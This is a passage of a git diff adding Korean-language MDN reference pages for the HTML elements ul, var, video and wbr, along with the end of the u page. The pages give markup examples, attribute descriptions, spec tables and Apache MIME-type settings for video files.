+<p><code>&lt;cite&gt;</code> 요소의 기본 스타일은 기울임꼴을 적용합니다. 원한다면 CSS를 사용해 재정의할 수 있습니다.</p>
+
+<pre class="brush: css">cite {
+  font-style: normal;
+  text-decoration: underline;
+}</pre>
+
+<h5 id="사용자_지정_스타일_결과">사용자 지정 스타일 결과</h5>
+
+<p>{{EmbedLiveSample("Presenting_a_book_title", 650, 80)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-u-element', '&lt;u&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.u")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>보통 {{HTMLElement("span")}}, {{HTMLElement("i")}}, {{HTMLElement("em")}}, {{HTMLElement("b")}}, {{HTMLElement("cite")}} 요소를 사용하는 편이 더 적합합니다.</li>
+ <li>특별한 의미를 가지지 않는 밑줄은 CSS {{cssxref("text-decoration")}} 속성을 사용해야 합니다.</li>
+</ul>
diff --git a/files/ko/web/html/element/ul/index.html b/files/ko/web/html/element/ul/index.html
new file mode 100644
index 0000000000..b3a33aa627
--- /dev/null
+++ b/files/ko/web/html/element/ul/index.html
@@ -0,0 +1,188 @@
+---
+title: <ul>
+slug: Web/HTML/Element/ul
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ul
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ul&gt;</code> 요소</strong>는 정렬되지 않은 목록을 나타냅니다. 보통 불릿으로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ul.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 또한, 최소 하나의 {{htmlelement("li")}} 요소를 자식으로 둔다면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>0개 이상의 {{htmlelement("li")}}, {{htmlelement("script")}}, {{htmlelement("template")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLUListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<dl>
+ <dt>{{ htmlattrdef("compact") }} {{Deprecated_inline}}</dt>
+ <dd>This Boolean attribute hints that the list should be rendered in a compact style. The interpretation of this attribute depends on the {{glossary("user agent")}}, and it doesn't work in all browsers.</dd>
+ <dd>
+ <div class="warning"><strong>Warning:</strong> Do not use this attribute, as it has been deprecated: use <a href="/en-US/docs/CSS">CSS</a> instead. To give a similar effect as the <code>compact</code> attribute, the CSS property {{cssxref("line-height")}} can be used with a value of <code>80%</code>.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("type") }} {{Deprecated_inline}}</dt>
+ <dd>This attribute sets the bullet style for the list. The values defined under <a href="/en-US/docs/HTML3.2">HTML3.2</a> and the transitional version of <a href="/en-US/docs/HTML4.01">HTML 4.0/4.01</a> are:
+ <ul>
+  <li><code>circle</code></li>
+  <li><code>disc</code></li>
+  <li><code>square</code></li>
+ </ul>
+
+ <p>A fourth bullet type has been defined in the WebTV interface, but not all browsers support it: <code>triangle</code>.</p>
+
+ <p>If not present and if no <a href="/en-US/docs/CSS">CSS</a> {{ cssxref("list-style-type") }} property applies to the element, the user agent selects a bullet type depending on the nesting level of the list.</p>
+
+ <div class="warning"><strong>Warning:</strong> Do not use this attribute, as it has been deprecated; use the <a href="/en-US/docs/Web/CSS">CSS</a> {{ cssxref("list-style-type") }} property instead.</div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>보통 비정렬 목록의 항목은 선행하는 불릿 <a href="/ko/docs/Web/CSS/::marker">마커</a>와 함께 표시합니다.</p>
+
+<p><code>&lt;ul&gt;</code>과 {{htmlelement("ol")}}은 필요한 만큼 중첩할 수 있고, 서로 교차할 수도 있습니다.</p>
+
+<p><code>&lt;ul&gt;</code>과 {{htmlelement("ol")}}은 모두 목록을 나타냅니다. 차이가 있다면 <code>&lt;ul&gt;</code>에서는 순서가 중요하지 않다는 점입니다. 항목의 순서를 바꿨을 때 의미도 바뀐다면 {{htmlelement("ol")}}을 사용하세요. 그렇지 않으면 <code>&lt;ul&gt;</code>을 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item&lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{EmbedLiveSample("간단한_예제", 400, 100)}}</p>
+
+<h3 id="중첩_목록">중첩 목록</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item
+  &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+    &lt;ul&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem
+      &lt;!-- Same for the second nested unordered list! --&gt;
+        &lt;ul&gt;
+          &lt;li&gt;second item second subitem first sub-subitem&lt;/li&gt;
+          &lt;li&gt;second item second subitem second sub-subitem&lt;/li&gt;
+          &lt;li&gt;second item second subitem third sub-subitem&lt;/li&gt;
+        &lt;/ul&gt;
+      &lt;/li&gt; &lt;!-- Closing &lt;/li&gt; tag for the li that
+                  contains the third unordered list --&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+  &lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("중첩_목록", 400, 220)}}</p>
+
+<h3 id="비정렬_목록_안의_정렬_목록">비정렬 목록 안의 정렬 목록</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;first item&lt;/li&gt;
+  &lt;li&gt;second item
+  &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;second item first subitem&lt;/li&gt;
+      &lt;li&gt;second item second subitem&lt;/li&gt;
+      &lt;li&gt;second item third subitem&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+  &lt;/li&gt;
+  &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{EmbedLiveSample("비정렬_목록_안의_정렬_목록", 400, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ul-element', '&lt;ul&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-ul-element', '&lt;ul&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ul")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>리스트 관련 다른 요소: {{HTMLElement("ol")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}</li>
+ <li><code>&lt;ol&gt;</code> 요소와 유용하게 사용할 수 있는 CSS 속성
+  <ul>
+   <li>서수를 표현할 방식을 지정하는 {{cssxref("list-style")}} 속성.</li>
+   <li>복잡한 중첩 목록을 처리하기 위한 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터</a></li>
+   <li>더 이상 사용하지 않는 <code>compact</code> 특성을 대체할 수 있는 {{cssxref("line-height")}}</li>
+   <li>항목의 들여쓰기를 조정하기 위한 {{cssxref("margin")}} 속성.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/var/index.html b/files/ko/web/html/element/var/index.html
new file mode 100644
index 0000000000..8b55934a46
--- /dev/null
+++ b/files/ko/web/html/element/var/index.html
@@ -0,0 +1,116 @@
+---
+title: '<var>: 변수 요소'
+slug: Web/HTML/Element/var
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/var
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTM <code>&lt;var&gt;</code> 요소</strong>는 수학 표현 또는 프로그래밍에서 변수의 이름을 나타냅니다.</span> 보통 현재 글씨체의 기울임꼴로 표시하지만, 브라우저마다 다를 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/var.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="관련_요소">관련 요소</h3>
+
+<p><code>&lt;var&gt;</code>와 함께 자주 사용하는 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li>{{htmlelement("code")}}: HTML 코드 요소</li>
+ <li>{{htmlelement("kbd")}}: HTML 키보드 입력 요소</li>
+ <li>{{htmlelement("smap")}}: HTML 출력 예시 요소</li>
+</ul>
+
+<p><code>&lt;var&gt;</code>의 의미에 맞춰 사용하지 않고, 기울임꼴을 적용하기 위해 잘못 사용한 경우, 적절한 CSS와 {{htmlelement("span")}}를 사용해야 합니다. 혹은, 의미에 맞는 요소를 다음 목록에서 골라 사용하세요.</p>
+
+<ul>
+ <li>{{htmlelement("em")}}</li>
+ <li>{{htmlelement("i")}}</li>
+ <li>{{htmlelement("q")}}</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p><code>&lt;var&gt;</code>를 사용해 수학 등식의 변수명을 나타내는 간단한 예제입니다.</p>
+
+<pre>&lt;p&gt;간단한 등식:
+  &lt;var&gt;x&lt;/var&gt; = &lt;var&gt;y&lt;/var&gt; + 2&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Basic_example", 650,80)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-var-element', '&lt;var&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-var-element', '&lt;var&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.var")}}</p>
diff --git a/files/ko/web/html/element/video/index.html b/files/ko/web/html/element/video/index.html
new file mode 100644
index 0000000000..9007343baa
--- /dev/null
+++ b/files/ko/web/html/element/video/index.html
@@ -0,0 +1,145 @@
+---
+title: '<video>: 비디오 삽입 요소'
+slug: Web/HTML/Element/Video
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - Media
+  - Multimedia
+  - Reference
+  - Web
+  - 동영상
+  - 비디오
+translation_of: Web/HTML/Element/video
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;video&gt;</code> 요소</strong>는 비디오 플레이백을 지원하는 미디어 플레이어를 문서에 삽입합니다.</span> 오디오 콘텐츠에도 사용할 수 있으나, {{htmlelement("audio")}} 요소가 사용자 경험에 좀 더 적합합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/video.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위 예제는 <code>&lt;video&gt;</code> 요소의 간단한 사용법을 보입니다. <code>&lt;video&gt;</code> 또한 {{htmlelement("img")}} 요소와 비슷하게, 표시하고자 하는 미디어로의 경로를 <code>src</code> 특성에 제공합니다. 또한 비디오의 너비와 높이, 자동재생과 반복 여부, 브라우저 기본 컨트롤 노출 여부 등 다른 정보도 특성을 통해 지정할 수 있습니다.</p>
+
+<p><code>&lt;video&gt;&lt;/video&gt;</code> 태그 안의 콘텐츠는 브라우저가 <code>&lt;video&gt;</code> 요소를 지원하지 않을 때 보여집니다.</p>
+
+<h2 id="Attributes" name="Attributes">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>부울(boolean) 속성. 이 값이 설정되면, 데이터 로딩이 완료되지 않더라도 재생 가능한 시점에 자동으로 재생이 시작됩니다.</dd>
+ <dt>{{htmlattrdef("buffered")}}</dt>
+ <dd>미디어의 어느 시간대가 버퍼에 들어 있는지 확인할 수 있는 속성입니다. 이 속성은 {{domxref("TimeRanges")}} 객체를 포함합니다.</dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>이 속성이 존재하면, 소리 조절(volume), 동영상 탐색(seek), 일시 정지(pause)/재시작(resume)을 할 수 있는 컨트롤러를 제공합니다.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>This enumerated attribute indicates if the fetching of the related image must be done using CORS or not. <a href="/en-US/docs/CORS_Enabled_Image" title="CORS_Enabled_Image">CORS-enabled resources</a> can be reused in the {{HTMLElement("canvas")}} element without being <em>tainted</em>. The allowed values are:
+ <dl>
+  <dt>anonymous</dt>
+  <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed. But no credential is sent (i.e. no cookie, no X.509 certificate and no HTTP Basic authentication is sent). If the server does not give credentials to the origin site (by not setting the <code>Access-Control-Allow-Origin:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted..</dd>
+  <dt>use-credentials</dt>
+  <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed with credential is sent (i.e. a cookie, a certificate and HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through <code>Access-Control-Allow-Credentials:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted.</dd>
+ </dl>
+ When not present, the resource is fetched without a CORS request (i.e. without sending the <code>Origin:</code> HTTP header), preventing its non-tainted used in {{HTMLElement('canvas')}} elements. If invalid, it is handled as if the enumerated keyword <strong>anonymous</strong> was used. See <a href="/en-US/docs/HTML/CORS_settings_attributes" title="CORS settings attributes">CORS settings attributes</a> for additional information.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>비디오의 출력 영역 높이이며, CSS 픽셀 단위 입니다.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>부울(boolean) 속성, 이 값이 설정되면, 동영상 재생이 마친 후(동영상의 마지막에 도달하면) 자동으로 처음으로 돌아갑니다.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>비디오에 포함되어 있는 오디오의 기본 설정을 나타내는 부울 속성입니다. 설정하면 오디오가 나오지 않습니다. 기본 값은 false이며 이는 비디오가 재생되면 오디오도 같이 재생됨을 의미합니다.</dd>
+ <dt>{{htmlattrdef("played")}}</dt>
+ <dd>재생된 동영상 영역을 나타내는 {{domxref("TimeRanges")}} 객체 입니다.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>이 속성은 저작자가 생각하는 가장 좋은 사용자 경험이 어떠한 것인지 브라우저에 미리 정보를 알려주는 용도록 사용됩니다. 다음 값들 중 하나를 가질 수 있습니다:
+ <ul>
+  <li><span style="font-family: courier new;">none: </span>저작자가 생각하기에 사용자가 비디오를 보지 않거나 서버가 최소한의 트래픽을 유지하고자 함을 의미합니다. 다시 말해서 비디오가 캐시되지 않아야 함을 의미합니다.</li>
+  <li><span style="font-family: courier new;">metadata</span>: 저작자가 생각하기에 사용자가 비디오를 보지 않을 수도 있지만 메타데이터(예를 들어서 길이)를 미리 가져오는 것은 합리적임을 의미합니다.</li>
+  <li><span style="font-family: courier new;">auto</span>: 사용자가 우선순위를 가지고 있음을 의미합니다. 다시 말해서 사용자가 이를 사용하지 않을 지라도 필요하다면 전체 비디오가 다운로드 될 수 있음을 의미합니다.</li>
+  <li><em>빈 문자열</em>: <span style="font-family: courier new;">auto </span>와 동일합니다.</li>
+ </ul>
+
+ <p>스펙에서는 기본값으로 <span style="font-family: courier new;">metadata</span>를 권장하지만 설정하지 않았다면 각 브라우저가 정한 기본값을 설정하게 됩니다.</p>
+
+ <div class="note"><strong>사용 정보:</strong>
+
+ <ul>
+  <li>비디오를 자동으로 재생하려 한다면 브라우저가 이를 다운로드 해야 하기 때문에 <code>autoplay</code>이 이 속성보다 우선시 됩니다. <code>autoplay</code> 속성과 <code>preload</code> 속성을 둘 다 설정하는 것은 스펙상 가능합니다.</li>
+  <li>브라우저가 이 속성을 반드시 스팩대로 따라야 하는 것은 아닙니다. 단지 힌트일 뿐입니다.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("poster")}}</dt>
+ <dd>사용자가 동영상을 재생하거나 탐색하기 전까지 출력되는 포스터 프레임 주소입니다. 이 속성이 명시되지 않으면, 첫 번째 프레임이 사용 가능하게 될때까지 아무것도 출력되지 않다가, 가능하게 되면 첫 번째 프레임을 포스터 프레임으로 출력합니다.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>삽입(embed)할 동영상의 주소(url)입니다. 이 속성은 선택 사항으로, 비디오 블록 내의 {{HTMLElement("source")}} 요소를 사용하여 삽입할 동영상을 명시할 수도 있습니다.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>비디오의 출력 영역 너비이며, CSS 픽셀 단위입니다.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">이벤트</h2>
+
+<p><code>&lt;video&gt;</code> 요소는 많은 <a href="/en-US/docs/Web/Guide/Events/Media_events">이벤트</a>를 발생시킬 수 있습니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="comment token">&lt;!-- Simple video example --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>video</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>videofile.ogg<span class="punctuation token">"</span></span> <span class="attr-name token">autoplay</span> <span class="attr-name token">poster</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>posterimage.jpg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  Sorry, your browser doesn't support embedded videos,
+  but don't worry, you can <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>videofile.ogg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>download it<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span>
+  and watch it with your favorite video player!
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>video</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!-- Video with subtitles --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>video</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>foo.ogg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>track</span> <span class="attr-name token">kind</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>subtitles<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>foo.en.vtt<span class="punctuation token">"</span></span> <span class="attr-name token">srclang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span> <span class="attr-name token">label</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>English<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>track</span> <span class="attr-name token">kind</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>subtitles<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>foo.sv.vtt<span class="punctuation token">"</span></span> <span class="attr-name token">srclang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>sv<span class="punctuation token">"</span></span> <span class="attr-name token">label</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Svenska<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>video</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>첫번째 예제는 동영상을 더 다운받기 위해서 멈추지 않아도 될 정도로 영상이 다운로드 되면 바로 영상이 재생됩니다. 동영상이 재생되기 전까지 "posterimage.jpg" 이미지가 표현됩니다.</p>
+
+<p>두번째 예제에서는 사용자가 서로다른 자막을 선택할 수 있습니다.</p>
+
+<h2 id="Server_support" name="Server_support">서버 지원</h2>
+
+<p>동영상 MIME 타입이 올바르게 설정되어 있지 않다면 동영상이 보이지 않거나 X표시가 된 회색 박스가 나오게 됩니다(JavaScript가 활성화 된 경우).</p>
+
+<p>Ogg Theora 동영상을 사용할 경우 아파치 웹 서버에 동영상에서 사용하는 확장자(보통 ".ogm", ".ogv", ".ogg"를 사용합니다)를 "/etc/apache"에 있는 "mime.types" 파일에 "video/ogg" MIME 타입을 추가하거나 httpd.conf에 "AddType" 디렉티브를 이용해서 추가하면 해결됩니다.</p>
+
+<pre>AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+</pre>
+
+<p>WebM 동영상을 사용할 경우 아파치 웹 서버에 동영상에서 사용하는 확장자(보통 ".webm"을 사용합니다)를 "/etc/apache"에 있는 "mime.types" 파일에 "video/webm" MIME 타입을 추가하거나 httpd.conf에 "AddType" 디렉티브를 이용해서 추가하면 해결됩니다.</p>
+
+<pre>AddType video/webm .webm
+</pre>
+
+<p>여러분의 웹 호스트에서 새로운 기술이 범용적으로 적용되어 업데이트 되기 전까지 편하게 MIME 타입을 설정하는 인터페이스를 제공할지도 모릅니다.</p>
+
+<h2 id="DOM_interface" name="DOM_interface">DOM 인터페이스</h2>
+
+<p>이 요소는 <code><a href="/en-US/docs/Web/API/HTMLVideoElement" title="DOM/HTMLVideoElementInterface">HTMLVideoElement</a></code> 인터페이스를 구현하고 있습니다.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.video")}}</p>
+
+<h2 id="See_also" name="See_also">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">Media formats supported by the audio and video elements</a></li>
+ <li>{{htmlelement("audio")}}</li>
+ <li><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using audio and video in Firefox">Using HTML5 audio and video</a></li>
+ <li><a href="/en-US/docs/Manipulating_video_using_canvas" title="Manipulating video using canvas">Manipulating video using canvas</a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li><a class="external" href="http://tinyvid.tv/" title="http://tinyvid.tv/">TinyVid</a> - examples using ogg files in HTML5.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video" title="http://www.whatwg.org/specs/web-apps/current-work/#video">The <code>video</code> element</a> (HTML5 specification)</li>
+ <li><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="Configuring servers for Ogg media">Configuring servers for Ogg media</a></li>
+</ul>
diff --git a/files/ko/web/html/element/wbr/index.html b/files/ko/web/html/element/wbr/index.html
new file mode 100644
index 0000000000..4168ea677d
--- /dev/null
+++ b/files/ko/web/html/element/wbr/index.html
@@ -0,0 +1,111 @@
+---
+title: <wbr>
+slug: Web/HTML/Element/wbr
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/wbr
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;wbr&gt;</code> 요소</strong>는 현재 요소의 줄 바꿈 규칙을 무시하고 브라우저가 줄을 바꿀 수 있는 위치를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/wbr.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
